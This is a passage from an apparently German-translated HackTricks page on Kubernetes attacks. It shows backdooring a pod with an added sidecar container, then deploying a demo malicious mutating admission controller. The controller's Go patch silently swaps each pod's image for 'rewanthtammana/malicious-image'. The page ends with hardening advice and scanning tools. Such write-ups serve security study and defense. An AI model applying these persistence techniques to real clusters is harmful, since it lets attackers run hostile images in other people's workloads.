For example, the following is part of the configuration of a pod with 2 containers:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Zum Beispiel: um einem vorhandenen pod eine backdoor in Form eines neuen container hinzuzufügen, kannst du einfach einen neuen container in der Spezifikation ergänzen. Beachte, dass du dem zweiten container mehr Berechtigungen geben könntest, die der erste nicht hat.

More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Bösartiger Admission Controller

Ein Admission Controller fängt Requests an den Kubernetes API server ab, bevor das Objekt persistent gespeichert wird, aber nachdem die Anfrage authentifiziert und autorisiert wurde.

Wenn es einem Angreifer gelingt, einen Mutation Admission Controller zu injizieren, kann er bereits authentifizierte Requests modifizieren. Das kann potentiell privesc ermöglichen und führt häufiger dazu, dass er sich dauerhaft im Cluster festsetzt.

Beispiel von https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Überprüfe den Status, um zu sehen, ob er bereit ist:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Dann deploye einen neuen pod:

kubectl run nginx --image nginx
kubectl get po -w

Wenn Sie den Fehler ErrImagePull sehen, überprüfen Sie den Image-Namen mit einer der folgenden Abfragen:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Wie in der obigen Abbildung zu sehen ist, haben wir versucht, das Image nginx auszuführen, aber das letztlich ausgeführte Image ist rewanthtammana/malicious-image. Was ist da gerade passiert!!?

Technische Details

Das ./deploy.sh-Skript richtet einen mutating webhook admission controller ein, der Anfragen an die Kubernetes API gemäß seinen Konfigurationszeilen verändert und so die beobachteten Ergebnisse beeinflusst:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Der obige Ausschnitt ersetzt das erste Container-Image in jedem Pod durch rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Beste Vorgehensweisen

Automount von Service-Account-Tokens deaktivieren

  • Pods and Service Accounts: Standardmäßig mounten Pods ein Service-Account-Token. Zur Erhöhung der Sicherheit erlaubt Kubernetes das Deaktivieren dieses Automount-Features.
  • Anwendung: Setze automountServiceAccountToken: false in der Konfiguration von Service Accounts oder Pods ab Kubernetes Version 1.6.

Eingeschränkte Benutzerzuweisung in RoleBindings/ClusterRoleBindings

  • Selektive Aufnahme: Stelle sicher, dass nur notwendige Benutzer in RoleBindings oder ClusterRoleBindings aufgenommen werden. Führe regelmäßige Audits durch und entferne irrelevante Benutzer, um die Sicherheit zu erhalten.

Namespace-spezifische Rollen statt clusterweiter Rollen

  • Roles vs. ClusterRoles: Verwende vorzugsweise Roles und RoleBindings für namespace-spezifische Berechtigungen statt ClusterRoles und ClusterRoleBindings, die clusterweit gelten. Dieser Ansatz bietet feinere Kontrolle und begrenzt den Umfang der Berechtigungen.

Automatisierte Tools verwenden

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters \xc2\xb7 GitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark \xc2\xb7 GitHub

Referenzen

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks